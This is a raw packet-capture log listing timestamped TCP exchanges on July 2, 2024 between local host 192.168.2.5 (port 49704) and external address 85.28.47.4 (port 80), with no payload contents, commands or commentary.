Jul 2, 2024 04:12:08.357353926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357362986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357366085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357393980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357393980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357398033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357409000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357409000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357428074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357438087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357443094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357449055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357453108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357453108 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357471943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357480049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357494116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357506037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357518911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357518911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357534885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357546091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357553005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357568979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357574940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357574940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357589006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357604027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357615948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357615948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357628107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357635975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357656956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357666016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357666969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357686043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357691050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357696056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357717037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357733965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357733965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357738018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357748985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357767105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357769012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357777119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357780933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357800007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357805014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357805014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357810974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357829094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357832909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357832909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357839108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357847929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357877016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357880116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357891083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357896090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357917070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357937098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357944012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357944012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357944012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.357954025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357964993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.357981920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358006954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358006954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358006954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358031988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358186960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358237028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358256102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358270884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358280897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358303070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358314037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358324051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358324051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358330011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358335972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358346939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358359098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358380079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358397007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358400106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358400106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358409882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.358448982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358448982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.358448982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359472036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359493971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359502077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359520912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359549999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359550953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359565020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359586954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359591961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359600067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359603882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359622002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359631062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359632015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359638929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359642982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359649897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359682083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359692097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359734058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359745026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359762907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359772921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359775066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359827995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.359853983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.359896898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.360687017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360714912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360723019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360758066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.360758066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.360780954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360793114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360810041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360850096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.360850096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.360934019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360970974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.360979080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.360991001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361006021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361021042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361054897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361058950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361058950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361064911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361071110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361073017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361098051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361108065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361119986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361129045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361130953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361145973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361156940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361171007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361181021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361186028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361186981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361186981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361197948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361232996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361232996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361243010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361253023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361270905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361289978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361289978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361314058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361337900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361363888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361434937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361479998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361502886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361511946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361529112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361535072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361563921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361563921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361686945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361699104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361716032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361725092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361740112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361740112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361757994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361757994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361814022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361824036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361855030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361884117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361897945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361910105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361926079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361938000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361934900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361952066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361962080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361963034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361984015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361993074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.361995935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.361995935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.362010956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.362050056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.362050056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.362051010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446616888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446644068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446654081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446676970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446688890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446691036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446707964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446710110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446721077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446743965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446754932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446757078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446779013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446780920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446798086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446815014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446825027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446825981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446825981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446852922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446852922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446852922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446871996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446882963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446886063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446923971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446923971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446938038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446948051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446964025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446970940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446970940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.446976900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.446995020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447004080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447004080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447004080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447017908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447024107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447031021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447046995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447046995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447053909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447067022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447077036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447084904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447088957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447103977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447118044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447130919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447132111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447130919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447144032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447149038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447185993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447187901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447187901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447187901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447201014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447213888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447227955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447242975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447243929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447242975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447242975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447272062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447273970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447273970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447283983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447298050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447313070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447314024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447325945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447326899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447336912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447361946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447386980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447412968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447422981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447438955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447448015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447453976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447467089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447477102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447489977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447495937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447500944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447510004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447531939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447535038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447546005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447547913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447571993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447581053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447593927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447594881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447608948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447622061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447629929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447629929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447638035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447650909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.447659016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447669029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447695971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.447695971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448021889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448069096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448074102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448081970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448121071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448132992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448143005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448151112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448160887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448168039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448191881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448220015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448236942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448249102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.448290110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.448290110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449033976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449047089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449063063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449084044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449115038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449141979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449151993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449167013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449177027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449191093 CEST	49704	80	192.168.2.5	85.28.47.4
